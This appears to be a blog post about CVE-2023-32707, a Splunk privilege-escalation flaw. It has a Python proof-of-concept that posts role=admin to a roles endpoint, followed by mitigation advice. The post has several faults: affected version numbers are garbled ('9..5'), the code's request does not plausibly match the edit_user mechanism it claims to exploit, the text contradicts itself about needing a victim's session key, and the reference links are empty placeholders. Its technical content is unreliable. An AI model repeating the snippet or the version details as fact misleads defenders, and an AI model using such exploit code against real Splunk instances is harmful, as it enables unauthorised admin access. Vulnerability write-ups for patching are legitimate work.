Hey folks! In this long read post, we will discuss a vulnerability known as CVE-2023-32707 discovered in popular log management and analysis software, Splunk Enterprise, and Cloud Platform. This vulnerability is related to privilege escalation, allowing a low-privileged user to escalate their privileges to admin level, which can be a gateway for malicious activities.

Affected Versions

Splunk Enterprise versions below 9..5, 8.2.11, and 8.1.14 along with Splunk Cloud Platform versions below 9..2303.100 are affected by this vulnerability.

Vulnerability Details

The vulnerability in question stems from versions of Splunk Enterprise and Splunk Cloud Platform mentioned above. To put it simply, a low-privileged user, who holds a role that has the 'edit_user' capability assigned to it, can escalate their privileges to that of the admin user by providing specially crafted web requests.

Here's a Python-based exploit code snippet to demonstrate the vulnerability

import requests

def exploit(url, session_key):
    headers = {
        "Authorization": f"Bearer {session_key}"
    }

    # Escalate to admin
    data = {
        "role": "admin"
    }

    response = requests.post(f"{url}/services/authorization/roles/user",
                             headers=headers, data=data)

    if response.status_code == 201:
        print("Privilege escalation successful!")
    else:
        print("Failed to escalate privileges")


if __name__ == "__main__":
    url = "https://splunk.yourdomain.com";
    session_key = "<your-session-key>"

    exploit(url, session_key)

Keep in mind that this exploit code snippet assumes the attacker already has the target's session key, which should remain confidential. The attacker would need to figure out ways to steal the victim's session key beforehand.

Original References

More details about the vulnerability, including the initial bug disclosure and subsequent technical discussions, can be found at these links:

1. Link to Vendor Advisory
2. Link to CVE Details
3. Link to NVD

Mitigation

Users of affected versions should immediately update their Splunk Enterprise and Cloud Platform instances to the latest versions as recommended by the vendor. In case updating to the latest version is not possible, users should consider restricting the 'edit_user' capability to the roles that genuinely require it. This will significantly reduce the attack surface.

Conclusion

CVE-2023-32707 is a severe vulnerability that allows low-privileged users to escalate their privileges to admin level within Splunk Enterprise and Cloud Platform instances. With the proper updates and adjustments in user roles, this vulnerability can be effectively mitigated. Always keep your software updated and stay in touch with the latest security updates to maintain the highest level of protection against ever-evolving threats.

Timeline

Published on: 06/01/2023 17:15:00 UTC
Last modified on: 06/07/2023 14:29:00 UTC